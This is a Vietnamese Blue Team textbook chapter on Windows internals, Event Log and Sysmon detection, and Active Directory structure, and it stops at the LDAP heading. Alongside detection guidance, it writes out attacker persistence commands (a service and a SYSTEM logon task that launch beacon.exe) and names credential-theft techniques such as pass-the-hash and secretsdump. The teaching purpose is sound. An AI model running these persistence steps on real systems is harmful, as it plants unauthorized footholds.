Chương 3 — Windows & Active Directory
Tổng quan
Đa số môi trường doanh nghiệp mình từng đụng vào đều chạy Windows và nối vào một domain AD nào đó, nên với dân Blue Team, đây gần như là địa hình mặc định chứ không phải lựa chọn. Mình học chương này để trả lời một câu hỏi xuyên suốt: kẻ tấn công đi từ một máy trạm bị chiếm tới quyền quản trị toàn miền bằng con đường nào, và ở bước nào thì có dấu vết để bắt được.
Chương bắt đầu từ tầng thấp nhất của một máy Windows đơn lẻ: ranh giới đặc quyền CPU giữa Kernel Mode và User Mode (nơi một driver Ring 0 có lỗ hổng trở thành đường leo quyền kiểu BYOVD), cách hệ thống lưu cấu hình trong Registry và Hive (khóa autostart là chỗ mã độc thích bám trụ nhất), rồi tới đơn vị thực thi và danh tính bảo mật — process, thread và access token — thứ hay bị đánh cắp hoặc mạo danh để leo quyền. Từ persistence trên một máy, chương mở rộng ra services và scheduled tasks, hai cơ chế vừa hợp pháp vừa bị lợi dụng phổ biến nhất cho lateral movement. Phần quan sát và điều tra đi cùng: Windows Event Log với các Event ID như 4624/4625 là nguồn bằng chứng chính, còn Sysmon bù lại những gì audit mặc định không thấy được.
Nửa sau chương chuyển sang tầng domain, nơi Active Directory quản trị tập trung qua Domain, Forest, OU và GPO — chiếm được AD gần như đồng nghĩa kiểm soát cả tổ chức, và LDAP vừa là giao thức truy vấn thư mục vừa là công cụ recon lộ ý đồ tấn công qua các truy vấn bất thường. Hai giao thức xác thực được đặt cạnh nhau để thấy rõ vì sao chúng là mục tiêu: Kerberos dựa trên ticket (TGT rồi service ticket) là nền của Kerberoasting và Golden/Silver Ticket, còn NTLM — di sản challenge/response còn sót lại cho các ca legacy — mang điểm yếu thiết kế dẫn tới pass-the-hash và NTLM relay. Chương khép lại bằng phần tấn công Active Directory, nối toàn bộ khái niệm trên thành một chuỗi công–thủ có dấu vết Event ID đi kèm.
Số liệu trong chương bám theo Microsoft Docs, các MS-* Open Specifications, RFC 4120/4178 và mã nguồn công khai của Sysinternals/Sysmon; chỗ nào chưa chắc được ghi "(cần kiểm chứng)".
3.1. Kiến trúc Windows: Kernel Mode và User Mode
3.1.1. Là gì
Windows NT (nền tảng của mọi Windows hiện đại từ XP/2000 trở đi) chia không gian thực thi thành hai vòng (ring) đặc quyền của CPU x86/x64:
- User mode (Ring 3): nơi chạy tiến trình ứng dụng. Mỗi tiến trình có một không gian địa chỉ ảo (virtual address space) riêng, cô lập với tiến trình khác. Crash của một process không hạ cả hệ thống.
- Kernel mode (Ring 0): nơi chạy nhân hệ điều hành, driver thiết bị, và HAL. Toàn quyền truy cập phần cứng và toàn bộ RAM. Một lỗi ở đây (driver lỗi, dereference con trỏ NULL) gây BSOD (Bug Check).
Việc tách 2 ring là cơ chế phần cứng: trường CPL (Current Privilege Level, 2 bit) trong thanh ghi CS quyết định ring hiện tại. Lệnh đặc quyền (như HLT, ghi vào CR3) chỉ chạy được khi CPL=0.
3.1.2. Cơ chế bên trong: bố cục không gian địa chỉ và chuyển ngữ cảnh
Trên Windows x64, không gian địa chỉ ảo 64-bit thực tế dùng 48 bit (canonical address), chia:
| Vùng | Khoảng địa chỉ (x64) | Ý nghĩa |
|---|---|---|
| User space | 0x00000000'00000000 – 0x00007FFF'FFFFFFFF |
Code/heap/stack của process (≈128 TB) |
| Vùng cấm (non-canonical) | 0x00008000'00000000 – 0xFFFF7FFF'FFFFFFFF |
Không hợp lệ, dùng để bắt lỗi |
| Kernel space | 0xFFFF8000'00000000 – 0xFFFFFFFF'FFFFFFFF |
Nhân, driver, dùng chung mọi process (≈128 TB) |
Chuyển từ user → kernel xảy ra qua system call. Trên x64, hàm user-mode (ví dụ NtCreateFile trong ntdll.dll) nạp system service number (SSN) vào thanh ghi EAX rồi thực thi lệnh syscall:
; ntdll!NtCreateFile (rút gọn) — số SSN thay đổi theo từng build Windows
mov r10, rcx ; syscall quy ước dùng r10 thay cho rcx
mov eax, 0x55 ; SSN của NtCreateFile (ví dụ — phải kiểm chứng theo build)
syscall ; chuyển CPL 3 -> 0, nhảy vào KiSystemCall64
ret
CPU đọc MSR IA32_LSTAR để biết entry point kernel (nt!KiSystemCall64), lưu RIP/RFLAGS, đặt CPL=0. Kernel dùng SSN làm index vào SSDT (System Service Descriptor Table) KeServiceDescriptorTable để gọi đúng hàm Nt*.
Vì sao: tách ring + chuyển ngữ cảnh có kiểm soát ngăn code user-mode tùy tiện đọc/ghi RAM kernel hay phần cứng — nền tảng của mọi cô lập bảo mật.
3.1.3. Các thành phần kernel chính
| Thành phần | File | Vai trò |
|---|---|---|
| Executive | ntoskrnl.exe |
Quản lý đối tượng, bộ nhớ ảo (Mm), I/O Manager, Process/Thread |
| Kernel (microkernel) | ntoskrnl.exe |
Lập lịch luồng, đồng bộ, ngắt (DPC/APC) |
| HAL | hal.dll |
Trừu tượng hóa phần cứng (timer, ngắt, bus) |
| Win32k | win32k.sys |
GDI/USER (đồ họa, cửa sổ) — bề mặt tấn công lớn |
| Security Reference Monitor (SRM) | trong ntoskrnl.exe |
Kiểm tra quyền (access check), sinh audit log |
3.1.4. Lưu ý bảo mật
- PatchGuard (Kernel Patch Protection) trên x64 chống sửa SSDT/cấu trúc kernel — nhưng cũng buộc rootkit chuyển sang kỹ thuật khác (BYOVD — Bring Your Own Vulnerable Driver).
- Driver chạy Ring 0 → một driver ký hợp lệ nhưng có lỗ hổng (ví dụ cho phép đọc/ghi physical memory tùy ý) là vector leo thang quyền phổ biến. Blue Team theo dõi nạp driver qua Sysmon Event ID 6.
3.2. Registry và Hive
3.2.1. Là gì
Registry là CSDL phân cấp lưu cấu hình HĐH và ứng dụng. Cấu trúc logic gồm key (như thư mục), subkey, và value (cặp tên–kiểu–dữ liệu).
Các root key (hive logic):
| Root key | Viết tắt | Nguồn dữ liệu vật lý |
|---|---|---|
HKEY_LOCAL_MACHINE |
HKLM | Các hive file trong C:\Windows\System32\config\ (SYSTEM, SOFTWARE, SAM, SECURITY) |
HKEY_CURRENT_USER |
HKCU | NTUSER.DAT trong profile user đang đăng nhập |
HKEY_USERS |
HKU | NTUSER.DAT của mọi user đã nạp + .DEFAULT |
HKEY_CLASSES_ROOT |
HKCR | View hợp nhất của HKLM\Software\Classes + HKCU\Software\Classes |
HKEY_CURRENT_CONFIG |
HKCC | Liên kết tới HKLM\SYSTEM\CurrentControlSet\Hardware Profiles\Current |
3.2.2. Cơ chế bên trong: định dạng hive file (regf)
Hive file dùng định dạng nhị phân với chữ ký regf. Cấu trúc gồm base block (header) dài 4096 byte (0x1000), theo sau là các hive bin (hbin) chứa các cell.
Bố cục base block (regf header) — các trường quan trọng:
| Offset | Kích thước | Trường | Ý nghĩa | Ví dụ |
|---|---|---|---|---|
| 0x000 | 4 byte | Signature | Luôn là ASCII regf (0x66676572 little-endian) |
72 65 67 66 |
| 0x004 | 4 byte | Primary sequence number | Tăng khi bắt đầu ghi | 0x00000123 |
| 0x008 | 4 byte | Secondary sequence number | Tăng khi ghi xong; nếu ≠ primary → hive dirty | 0x00000123 |
| 0x00C | 8 byte | Last written timestamp | FILETIME (100ns từ 1601) | 0x01D9... |
| 0x014 | 4 byte | Major version | Thường 1 | 0x00000001 |
| 0x018 | 4 byte | Minor version | Thường 3, 5, hoặc 6 | 0x00000005 |
| 0x020 | 4 byte | Root cell offset | Offset (từ đầu hbin đầu tiên) tới root key node | 0x00000020 |
| 0x028 | 4 byte | Length | Tổng kích thước dữ liệu hive | 0x00100000 |
| 0x1FC | 4 byte | Checksum | XOR của 508 byte đầu (mỗi 4-byte) | 0xABCD1234 |
Mỗi hbin dài bội số 4096 byte, header chữ ký hbin. Bên trong là cell: 4 byte đầu là kích thước (signed int32; âm = đang dùng, dương = free). Các loại cell node:
nk(Key Node): một registry key. Chứa tên, timestamp, offset tới subkey-list, value-list, security (sk).vk(Value Key): một value (tên, kiểu REG_*, offset/inline dữ liệu).sk(Security Key): chứa SECURITY_DESCRIPTOR (DACL/SACL/owner) cho key.lf/lh/li/ri: các dạng danh sách subkey (lh dùng hash để tra nhanh).
+--------- HIVE FILE (regf) ----------+
| Base block (4096 byte) | <- chữ ký "regf"
+-------------------------------------+
| hbin #0 (4096 byte) | <- chữ ký "hbin"
| [cell: nk - ROOT KEY] |
| [cell: sk - security descriptor] |
| [cell: lh - subkey list] |
| hbin #1 ... |
| [cell: vk - value "Start"=2] |
+-------------------------------------+
3.2.3. Ví dụ thực tế
Đọc giá trị khởi động dịch vụ và xuất hive offline để phân tích forensic:
:: Xem cấu hình autostart của một service (Start=2 nghĩa là Automatic)
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Dnscache" /v Start
:: Start REG_DWORD 0x2
:: Liệt kê các chương trình tự chạy khi logon (persistence phổ biến)
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
:: Xuất hive SYSTEM offline để phân tích bằng công cụ forensic
reg save HKLM\SYSTEM C:\ir\SYSTEM.hiv
Phân tích offline bằng RegRipper/reglookup (Linux) hoặc PowerShell:
# Liệt kê toàn bộ value Run với kiểu và dữ liệu
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' |
Format-List
Giá trị Start trong Services hive (REG_DWORD):
| Giá trị | Tên | Ý nghĩa |
|---|---|---|
| 0 | Boot | Nạp bởi kernel loader (driver khởi động sớm) |
| 1 | System | Nạp khi khởi tạo I/O |
| 2 | Automatic | Tự chạy lúc boot bởi SCM |
| 3 | Manual | Chạy khi có yêu cầu |
| 4 | Disabled | Bị tắt |
3.2.4. Lưu ý bảo mật
- Các khóa autostart extensibility points (ASEP) là nơi malware giành persistence:
...\CurrentVersion\Run,RunOnce,Image File Execution Options(Debugger hijack),Winlogon\Shell,Services. Sysmon Event ID 12/13/14 ghi lại thay đổi registry. - Hive
SAM/SECURITYchứa hash mật khẩu cục bộ + LSA secrets — bị bảo vệ bởi SYSTEM ACL nhưng có thể dump offline (sao chép Volume Shadow Copy) → kỹ thuậtsecretsdump.
3.3. Process, Thread và Access Token
3.3.1. Process và Thread — cấu trúc
Một process là container (không gian địa chỉ + handle table + token), thread mới là đơn vị được lập lịch. Cấu trúc kernel:
EPROCESS: block điều khiển process trong kernel (con trỏ tới page directoryDirectoryTableBase/CR3, danh sách thread,Token, PID, PPIDInheritedFromUniqueProcessId...).ETHREAD/KTHREAD: control block thread.PEB(Process Environment Block, user-mode): chứaImageBaseAddress, danh sách module nạp (Ldr), command line, biến môi trường.
Lưu ý: trường
InheritedFromUniqueProcessIdtrong EPROCESS chính là PPID mà Sysmon ghi vào Event ID 1 — quan trọng để phát hiện parent-child bất thường (ví dụwinword.exesinhcmd.exe).
3.3.2. Access Token — cơ chế cấp quyền
Khi user đăng nhập, LSASS sinh một access token đại diện security context. Mọi thread mặc định dùng token của process; có thể impersonate token khác.
Cấu trúc logic của token (truy cập qua GetTokenInformation):
| Thành phần | Ý nghĩa |
|---|---|
| User SID | Danh tính chính của chủ token |
| Group SIDs | Danh sách nhóm + thuộc tính (Enabled, UseForDenyOnly...) |
| Privileges | Danh sách LUID + attributes (ví dụ SeDebugPrivilege, SeBackupPrivilege) |
| Owner SID, Primary Group | Mặc định gán cho object mới tạo |
| Default DACL | DACL mặc định cho object do token tạo |
| Token Type | Primary (gắn process) hoặc Impersonation |
| Impersonation Level | Anonymous / Identification / Impersonation / Delegation |
| Integrity Level | Mandatory Integrity Control: Low/Medium/High/System |
| Logon SID, Session ID | Phiên đăng nhập |
3.3.3. SID — Security Identifier (cấu trúc nhị phân)
SID nhận diện duy nhất một principal (user, group, máy, domain). Dạng chuỗi: S-1-5-21-<domain>-<RID>.
Cấu trúc nhị phân:
| Offset | Kích thước | Trường | Ý nghĩa | Ví dụ |
|---|---|---|---|---|
| 0x00 | 1 byte | Revision | Luôn = 1 | 0x01 |
| 0x01 | 1 byte | SubAuthorityCount | Số sub-authority (tối đa 15) | 0x05 |
| 0x02 | 6 byte | IdentifierAuthority | Big-endian, ví dụ 5 = NT Authority | 00 00 00 00 00 05 |
| 0x08 | 4×N byte | SubAuthority[] | Mỗi cái 32-bit little-endian | 21 ... rồi RID |
Chuỗi S-1-5-21-... giải mã: S=SID, 1=revision, 5=IdentifierAuthority (NT), tiếp theo là các sub-authority. RID là sub-authority cuối.
RID quan trọng cố định (well-known):
| RID / SID | Tên | Ý nghĩa |
|---|---|---|
| 500 | Administrator | Tài khoản quản trị tích hợp |
| 501 | Guest | Khách |
| 512 | Domain Admins | Nhóm admin domain |
| 513 | Domain Users | - |
| 519 | Enterprise Admins | Admin toàn forest |
S-1-5-18 |
LocalSystem | Tài khoản SYSTEM |
S-1-5-32-544 |
Builtin\Administrators | - |
S-1-1-0 |
Everyone | - |
3.3.4. Ví dụ thực tế
# Xem token của tiến trình hiện tại: SID, group, privilege
whoami /all
# whoami /priv -> liệt kê privilege và trạng thái Enabled/Disabled
# SeDebugPrivilege Debug programs Disabled
:: Chuyển SID <-> tên (dùng để điều tra audit log)
:: PsGetSid của Sysinternals
PsGetSid.exe \\dc01 username
:: hoặc dùng PowerShell:
$sid = (New-Object System.Security.Principal.NTAccount("CORP","jdoe")).Translate([System.Security.Principal.SecurityIdentifier])
$sid.Value # S-1-5-21-...-1107
3.3.5. Lưu ý bảo mật
SeDebugPrivilegecho phép mở handle PROCESS_ALL_ACCESS tới mọi process kể cả LSASS → đọc bộ nhớ dump hash. Theo dõi việc bật privilege này.- Token impersonation/theft: malware có
SeImpersonatePrivilege(mặc định có ở service account) lợi dụng để impersonate SYSTEM (họ tấn công "Potato": JuicyPotato/RoguePotato/PrintSpoofer). - Integrity Level thấp (Low) là sandbox của trình duyệt; UAC dùng IL để tách token Medium (user thường) và High (admin elevated).
3.4. Services và Scheduled Tasks
3.4.1. Services
Service Control Manager (SCM) = services.exe, quản lý vòng đời dịch vụ. Cấu hình lưu ở HKLM\SYSTEM\CurrentControlSet\Services\<Name>:
| Value | Kiểu | Ý nghĩa |
|---|---|---|
ImagePath |
REG_EXPAND_SZ | Đường dẫn binary (hoặc svchost.exe -k <group> cho service trong DLL) |
Start |
REG_DWORD | 0–4 (xem bảng 3.2.3) |
Type |
REG_DWORD | 0x10=own process, 0x20=share process, 0x1=kernel driver |
ObjectName |
REG_SZ | Tài khoản chạy (LocalSystem, NT AUTHORITY\NetworkService...) |
ServiceDll |
REG_SZ (subkey Parameters) | DLL với service dạng svchost |
:: Tạo service mới (kỹ thuật persistence/lateral movement phổ biến)
sc create EvilSvc binPath= "C:\temp\beacon.exe" start= auto
sc qc Dnscache :: query config
sc query Dnscache :: trạng thái runtime
Vì sao:
svchost.exe -k netsvcsgom nhiều service nhẹ vào một process để tiết kiệm tài nguyên. Tác dụng phụ bảo mật: nhiều service chạy chung token → bề mặt lớn, khó phân biệt service nào lỗi.
Lưu ý: Event ID 7045 (System log) = "A new service was installed" — tín hiệu mạnh cho lateral movement (PsExec tạo service PSEXESVC). Unquoted service path + ghi được vào thư mục cha = leo thang quyền cổ điển.
3.4.2. Scheduled Tasks
Lưu tại C:\Windows\System32\Tasks\<TaskName> (XML) + đăng ký trong registry HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache.
Ví dụ XML task chạy khi logon:
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<LogonTrigger><Enabled>true</Enabled></LogonTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>S-1-5-18</UserId> <!-- chạy với quyền SYSTEM -->
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Actions>
<Exec><Command>C:\temp\beacon.exe</Command></Exec>
</Actions>
</Task>
:: Tạo task chạy mỗi khi user logon
schtasks /create /tn "Updater" /tr "C:\temp\beacon.exe" /sc onlogon /ru SYSTEM
Lưu ý: Event ID 4698 (task created), 4702 (updated) trong Security log; 106/200/201 trong Microsoft-Windows-TaskScheduler/Operational. Chạy SYSTEM + trigger logon = persistence cần soi.
3.5. Windows Event Log — các Event ID bảo mật cốt lõi
3.5.1. Cơ chế: định dạng EVTX
Event log hiện đại (Vista+) lưu file .evtx (C:\Windows\System32\winevt\Logs\Security.evtx) dạng nhị phân binary XML. Cấu trúc:
- File header (
ElfFile\0, 4096 byte): chữ ký45 6C 66 46 69 6C 65 00, chứa first/last chunk number, next record ID. - Chunk (65536 byte mỗi cái): chữ ký
ElfChnk\0, mỗi chunk chứa nhiều event record. - Event record: chữ ký
0x2A2A(**), kích thước, EventRecordID (64-bit), timestamp FILETIME, rồi payload Binary XML (BinXML — token-based để nén tên phần tử/thuộc tính lặp lại).
ElfFile\0 header (4096B)
└── Chunk 0 (64KB) [ElfChnk\0]
├── Record (** | size | RecordID | FileTime | BinXML)
├── Record ...
└── Chunk 1 (64KB) ...
Mỗi event được render thành XML với <System> (Provider, EventID, TimeCreated, Computer, Security UserID) và <EventData> (các <Data Name="...">).
3.5.2. Event 4624 — Đăng nhập thành công
Đây là event quan trọng nhất. Các trường <EventData> chính:
| Trường | Ý nghĩa | Ví dụ |
|---|---|---|
SubjectUserSid |
SID chủ thể yêu cầu logon (thường SYSTEM) | S-1-5-18 |
TargetUserName |
Tài khoản đăng nhập | jdoe |
TargetDomainName |
Domain | CORP |
TargetUserSid |
SID người đăng nhập | S-1-5-21-...-1107 |
LogonType |
Kiểu đăng nhập (xem bảng) | 3 |
LogonProcessName |
Tiến trình xác thực | Kerberos / NtLmSsp / User32 |
AuthenticationPackageName |
Gói auth | Kerberos / NTLM / Negotiate |
WorkstationName |
Máy nguồn (NTLM) | WS01 |
IpAddress |
IP nguồn | 10.0.0.5 |
LogonGuid |
GUID liên kết với 4769 (Kerberos) | {…} |
ElevatedToken |
%%1842 (Yes) nếu token elevated | - |
Logon Type — cốt lõi để hiểu cách truy cập:
| Type | Tên | Ý nghĩa |
|---|---|---|
| 2 | Interactive | Đăng nhập tại bàn phím (hoặc RDP qua console) |
| 3 | Network | Đăng nhập mạng: truy cập tài nguyên qua mạng (SMB, IIS) — không lưu credential trên máy đích |
| 4 | Batch | Scheduled task |
| 5 | Service | SCM khởi động service |
| 7 | Unlock | Mở khóa màn hình |
| 8 | NetworkCleartext | Mật khẩu gửi cleartext (IIS Basic Auth) |
| 9 | NewCredentials | runas /netonly — credential mới cho kết nối mạng (dấu hiệu pass-the-hash với Mimikatz!) |
| 10 | RemoteInteractive | RDP / Terminal Services (kể cả RDP qua NLA) |
| 11 | CachedInteractive | Đăng nhập bằng cached credential (offline) |
Cảnh báo: Logon Type 9 rất đáng ngờ. Mimikatz
sekurlsa::pthtạo logon session type 9 + LogonProcessNameseclogo. Săn: 4624 type 9 + process làmimikatz/rundll32bất thường.
3.5.3. Event 4625 — Đăng nhập thất bại
Thêm trường Status/SubStatus (mã NTSTATUS) cho biết lý do:
| SubStatus | Ý nghĩa |
|---|---|
0xC0000064 |
User không tồn tại |
0xC000006A |
Sai mật khẩu |
0xC0000234 |
Tài khoản bị khóa (locked out) |
0xC0000072 |
Tài khoản bị disable |
0xC0000193 |
Tài khoản hết hạn |
0xC000006F |
Đăng nhập ngoài giờ cho phép |
Lưu ý: săn brute-force/password spraying. Nhiều 4625
0xC000006Atừ một IP tới nhiều TargetUserName là spraying; tới một user nhiều lần là brute force.
3.5.4. Các Event ID Security khác
| Event ID | Ý nghĩa | Trường/ghi chú quan trọng |
|---|---|---|
| 4634 | Logoff | LogonType, TargetLogonId (khớp với 4624) |
| 4647 | User-initiated logoff | - |
| 4672 | Special privileges assigned to new logon | Sinh kèm mỗi logon admin; PrivilegeList chứa SeDebug/SeBackup... → dùng dò admin logon |
| 4688 | A new process has been created | NewProcessName, ProcessId, CommandLine (cần bật audit "Include command line"), ParentProcessName, TokenElevationType |
| 4720 | A user account was created | TargetUserName, SubjectUserName (ai tạo) |
| 4722/4725/4726 | Account enabled / disabled / deleted | - |
| 4728/4732/4756 | Member added to global/local/universal group | Theo dõi thêm vào Domain Admins |
| 4768 | Kerberos TGT requested (AS-REQ) | TicketEncryptionType, PreAuthType, IP client |
| 4769 | Kerberos service ticket requested (TGS-REQ) | ServiceName, TicketEncryptionType (0x17=RC4 → Kerberoasting!) |
| 4771 | Kerberos pre-authentication failed | FailureCode (0x18 = sai mật khẩu) |
| 4776 | NTLM credential validation (DC) | Status |
| 1102 | The audit log was cleared | Trường SubjectUserName/SubjectUserSid — ai xóa log |
| 4719 | System audit policy was changed | Kẻ tấn công tắt audit |
3.5.5. Event 4688 — chi tiết command line
Mặc định 4688 không chứa command line. Phải bật:
:: Bật ghi command line trong 4688 (GPO: Administrative Templates >
:: System > Audit Process Creation)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" ^
/v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f
:: Bật audit subcategory "Process Creation"
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
Sau khi bật, một event 4688 mẫu (rút gọn):
<EventData>
<Data Name="NewProcessName">C:\Windows\System32\cmd.exe</Data>
<Data Name="ProcessId">0x1a2c</Data>
<Data Name="CommandLine">cmd.exe /c whoami /all</Data>
<Data Name="ParentProcessName">C:\Program Files\Microsoft Office\WINWORD.EXE</Data>
<Data Name="TokenElevationType">%%1936</Data> <!-- Type 1 = full token -->
<Data Name="SubjectUserName">jdoe</Data>
</EventData>
TokenElevationType: %%1936 (Type 1, full token, không UAC split), %%1937 (Type 2, elevated qua UAC), %%1938 (Type 3, limited).
3.5.6. Event 1102 — Audit log cleared
<UserData>
<LogFileCleared>
<SubjectUserSid>S-1-5-21-...-1107</SubjectUserSid>
<SubjectUserName>attacker</SubjectUserName>
<SubjectDomainName>CORP</SubjectDomainName>
</LogFileCleared>
</UserData>
Lưu ý: 1102 (Security) và 104 (System, log khác bị clear) là chỉ báo anti-forensic. Forward log realtime (WEF/Sysmon→SIEM) trước khi attacker clear là biện pháp đối phó.
3.6. Sysmon — System Monitor
3.6.1. Là gì
Sysmon (Sysinternals) là driver + service ghi log telemetry chi tiết vào Microsoft-Windows-Sysmon/Operational. Vượt xa audit native vì có hash file, GUID process, ánh xạ network→process, command line đầy đủ, ProcessGUID nối các event.
3.6.2. Các Event ID Sysmon trọng yếu
| Event ID | Sự kiện | Trường nổi bật |
|---|---|---|
| 1 | Process creation | Image, CommandLine, Hashes, ParentImage, ParentCommandLine, ProcessGuid, User, IntegrityLevel, OriginalFileName |
| 3 | Network connection | Image, Protocol, SourceIp/Port, DestinationIp/Port, DestinationHostname |
| 5 | Process terminated | ProcessGuid, Image |
| 7 | Image (DLL) loaded | ImageLoaded, Signed, Signature, SignatureStatus, Hashes — phát hiện DLL hijacking/unsigned DLL |
| 8 | CreateRemoteThread | SourceImage, TargetImage, StartAddress — phát hiện process injection |
| 10 | ProcessAccess | SourceImage, TargetImage, GrantedAccess — phát hiện đọc LSASS (0x1010/0x1410) |
| 11 | File created | TargetFilename, CreationUtcTime — drop payload |
| 12/13/14 | Registry key/value/rename | TargetObject, Details — persistence ASEP |
| 22 | DNS query | QueryName, QueryResults, Image — phát hiện C2/DGA |
3.6.3. Cấu hình XML thực tế
Sysmon dùng file config XML với schema versioning. Ví dụ config tối giản nhưng hiệu quả:
<Sysmon schemaversion="4.90">
<HashAlgorithms>SHA256,IMPHASH</HashAlgorithms>
<EventFiltering>
<!-- EID 1: ghi mọi process, nhưng loại bớt nhiễu -->
<RuleGroup name="ProcCreate" groupRelation="or">
<ProcessCreate onmatch="exclude">
<Image condition="is">C:\Windows\System32\SearchIndexer.exe</Image>
</ProcessCreate>
</RuleGroup>
<!-- EID 10: cảnh báo truy cập LSASS -->
<RuleGroup name="LsassAccess" groupRelation="or">
<ProcessAccess onmatch="include">
<TargetImage condition="image">lsass.exe</TargetImage>
</ProcessAccess>
</RuleGroup>
<!-- EID 22: log mọi DNS query trừ domain Microsoft tin cậy -->
<RuleGroup name="Dns" groupRelation="or">
<DnsQuery onmatch="exclude">
<QueryName condition="end with">.microsoft.com</QueryName>
</DnsQuery>
</RuleGroup>
<!-- EID 13: persistence registry -->
<RuleGroup name="RegPersist" groupRelation="or">
<RegistryEvent onmatch="include">
<TargetObject condition="contains">\CurrentVersion\Run</TargetObject>
</RegistryEvent>
</RuleGroup>
</EventFiltering>
</Sysmon>
Giải thích tham số:
- onmatch="include": chỉ ghi event khớp rule (whitelist). onmatch="exclude": ghi mọi event trừ cái khớp (blacklist).
- groupRelation="or": chỉ cần 1 rule trong group khớp.
- condition: is, contains, begin with, end with, image (so khớp tên file bỏ qua path), regex...
:: Cài đặt Sysmon với config
Sysmon64.exe -accepteula -i sysmonconfig.xml
:: Cập nhật config mà không cài lại
Sysmon64.exe -c sysmonconfig.xml
Một Event ID 1 mẫu (rút gọn):
<EventData>
<Data Name="UtcTime">2026-06-19 03:21:55.123</Data>
<Data Name="ProcessGuid">{a1b2...}</Data>
<Data Name="ProcessId">6948</Data>
<Data Name="Image">C:\Windows\System32\cmd.exe</Data>
<Data Name="CommandLine">cmd /c "powershell -enc SQBFAFgA..."</Data>
<Data Name="Hashes">SHA256=...,IMPHASH=...</Data>
<Data Name="ParentImage">C:\Program Files\...\WINWORD.EXE</Data>
<Data Name="ParentCommandLine">"WINWORD.EXE" /n invoice.docx</Data>
<Data Name="User">CORP\jdoe</Data>
<Data Name="IntegrityLevel">Medium</Data>
</EventData>
Lưu ý: ProcessGuid bền vững (không bị tái dùng như PID) → nối toàn bộ chuỗi event của một process. Event 8/10 với GrantedAccess
0x1410/0x1010tớilsass.exelà chỉ báo credential dumping mạnh.
3.7. Active Directory — Cấu trúc luận lý và vật lý
3.7.1. Domain, Tree, Forest, OU
| Khái niệm | Định nghĩa |
|---|---|
| Domain | Ranh giới quản trị + bản sao CSDL (NTDS.dit). DC đồng bộ cùng namespace, ví dụ corp.example.com |
| Tree | Tập domain chia sẻ namespace liên tục (corp.example.com ↔ sales.corp.example.com) |
| Forest | Ranh giới tin cậy cao nhất. Chia sẻ schema chung + Global Catalog + Enterprise Admins. Forest mới là ranh giới tin cậy thật sự |
| OU (Organizational Unit) | Container để áp GPO và ủy quyền quản trị (delegation) |
| Site | Cấu trúc vật lý theo subnet IP — điều khiển replication và chọn DC gần nhất |
Cây phân cấp luận lý của AD: Forest bao toàn bộ và là ranh giới tin cậy cao nhất; bên trong là một hoặc nhiều Tree (cùng namespace liên tục), mỗi Tree chứa các Domain; trong Domain phân nhánh thành OU để áp GPO và ủy quyền, chứa các object lá (user/computer/group).
FOREST (ranh giới tin cậy cao nhất — schema + Global Catalog + Enterprise Admins)
└── TREE: example.com
├── DOMAIN (root): corp.example.com [NTDS.dit, các DC]
│ ├── OU=Servers
│ │ └── (computer objects)
│ ├── OU=Workstations
│ ├── OU=Users
│ │ ├── CN=jdoe (user)
│ │ └── CN=svc_sql (service account, có SPN)
│ └── OU=Groups
│ └── CN=Domain Admins
└── DOMAIN (child): sales.corp.example.com [parent-child trust, 2 chiều, transitive]
└── OU=...
Lưu ý ranh giới tin cậy: OU không phải ranh giới tin cậy (chỉ là đơn vị áp chính sách/ủy quyền); Domain là ranh giới quản trị nhưng Forest mới là ranh giới tin cậy thật sự — chiếm một domain trong forest có thể bắc cầu sang domain khác qua trust nếu không bật SID filtering.
3.7.2. NTDS.dit và phân vùng
CSDL AD nằm trong C:\Windows\NTDS\ntds.dit (định dạng ESE/JET Blue). Chia thành các naming context (partition):
| Partition | DN | Nội dung | Phạm vi replicate |
|---|---|---|---|
| Schema | CN=Schema,CN=Configuration,DC=... |
Định nghĩa class/attribute | Toàn forest |
| Configuration | CN=Configuration,DC=... |
Site, subnet, service | Toàn forest |
| Domain | DC=corp,DC=example,DC=com |
User, group, computer | Một domain |
| Application (DNS) | DC=DomainDnsZones,... |
DNS tích hợp AD | Tùy cấu hình |
3.7.3. Schema
Schema định nghĩa classSchema (lớp object) và attributeSchema (thuộc tính). Mỗi attribute có:
- attributeID: OID (ví dụ 1.2.840.113556.1.4.221 cho sAMAccountName).
- attributeSyntax + oMSyntax: kiểu dữ liệu.
- isSingleValued, searchFlags (bit 1 = indexed).
Vì sao: schema replicate toàn forest và khó sửa vì một thay đổi schema là vĩnh viễn (chỉ deactivate, không xóa hẳn) và ảnh hưởng mọi DC — nên forest là ranh giới schema.
3.7.4. GPO — Group Policy Object
GPO gồm 2 phần:
- GPC (Group Policy Container): object trong AD (CN=Policies,CN=System,DC=...), chứa version + GUID + danh sách CSE.
- GPT (Group Policy Template): file trên SYSVOL \\domain\SYSVOL\<domain>\Policies\{GUID}\ chứa gpt.ini, Registry.pol, scripts.
Thứ tự áp dụng LSDOU: Local → Site → Domain → OU (OU sau ghi đè trước, trừ khi "Enforced"/"Block Inheritance").
# Xem GPO áp lên user/máy hiện tại
gpresult /h C:\report.html /f
# Liệt kê GPO trong domain
Get-GPO -All | Select DisplayName, Id, GpoStatus
Lưu ý: SYSVOL đọc được bởi mọi Authenticated User. Lịch sử: GPP (
Groups.xml) từng chứa mật khẩu mã hóa AES với key công khai (CVE-2014-1812) → ai cũng giải được. Săn filecpasswordtrong SYSVOL.
3.7.5. Trust — quan hệ tin cậy
| Loại | Hướng | Bắc cầu (transitive) | Dùng khi |
|---|---|---|---|
| Parent-Child | Hai chiều | Có | Trong cùng tree |
| Tree-Root | Hai chiều | Có | Giữa tree trong forest |
| External | Một/hai chiều | Không | Tới domain ngoài forest |
| Forest | Một/hai chiều | Có (trong forest đối tác) | Giữa 2 forest |
| Realm | Một/hai chiều | Không | Tới Kerberos realm phi-Windows |
Trust dùng trust key (inter-realm key) để DC bên này phát hành referral TGT cho bên kia. Tấn công liên quan: SID History + cross-domain golden ticket để leo quyền qua trust nếu không bật SID filtering.
3.8. LDAP — giao thức truy vấn AD
